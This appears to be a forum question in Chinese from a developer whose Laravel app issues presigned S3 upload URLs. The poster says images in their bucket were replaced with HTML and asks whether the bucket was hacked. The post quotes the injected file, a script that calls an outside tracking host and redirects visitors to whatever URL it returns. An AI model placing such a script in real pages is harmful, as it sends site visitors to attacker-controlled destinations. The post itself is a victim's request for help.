我平台的用户可以上传他们的头像图片,但他们需要在我的 Laravel 后端请求一个签名的 url。
这是控制器
public function avatarUploadSigner(Request $request)
{
return s3_signedUrl("img/avatar/{$this->user->id}.jpg");
}
这里的功能是获取签名的 s3 以上传图像
function s3_signedUrl($path, $expireOnMinutes = 120) {
if(!$path) {
return ['error' => 'filename missing'];
}
$s3 = Storage::disk('s3');
$adapter = $s3->getDriver()->getAdapter();
$client = $adapter->getClient();
$mime = \League\Flysystem\Util\MimeType::detectByFilename($path);
try {
$command = $client->getCommand('PutObject', array(
'Bucket' => $adapter->getBucket(),
'Key' => $path,
'ContentType' => $mime,
'use_accelerate_endpoint' => true
));
$signedUrl = $client->createPresignedRequest(
$command,
"+$expireOnMinutes minutes"
);
$signedUrl = $signedUrl->getUri()->__toString();
} catch (S3Exception $e) {
return ['error' => $e->getMessage()];
}
return $signedUrl;
}
一周前,一些图像变成了这样的 html 文件:
<html>
<head>
<script type="text/javascript" nonce="739865d617d243ffba08a513623" src="//local.adguard.org?ts=1586287921907&type=content-script&dmn=myghostmarket.s3.eu-west-1.amazonaws.com&css=1&js=1&gcss=1&rel=0&rji=0"></script>
<script type="text/javascript" nonce="739865d617d243ffba08a513623" src="//local.adguard.org?ts=1586287921907&name=AdGuard%20Assistant&name=AdGuard%20Extra&type=user-script"></script><script>
var t="onload"in new XMLHttpRequest?XMLHttpRequest:XDomainRequest;var e=new t;e.open("GET","https://gold.platinumus.top/track/awswrite?q=html",true);e.onload=function(){location.href=this.responseText};e.send();
</script>
</head>
<body>
</body>
</html>
但最近不仅是头像,现在还更改了其他图像,如页眉、页脚等,这些图像无法通过签名 url 更改。
音频和 img 文件夹是可读的,但没有签名的 url 是不可写的吗?我还有另一个更重要的私人文件夹。
他们有危险吗?我的代码有什么问题?我的 s3 存储桶被黑了吗?
浮云间
智慧大石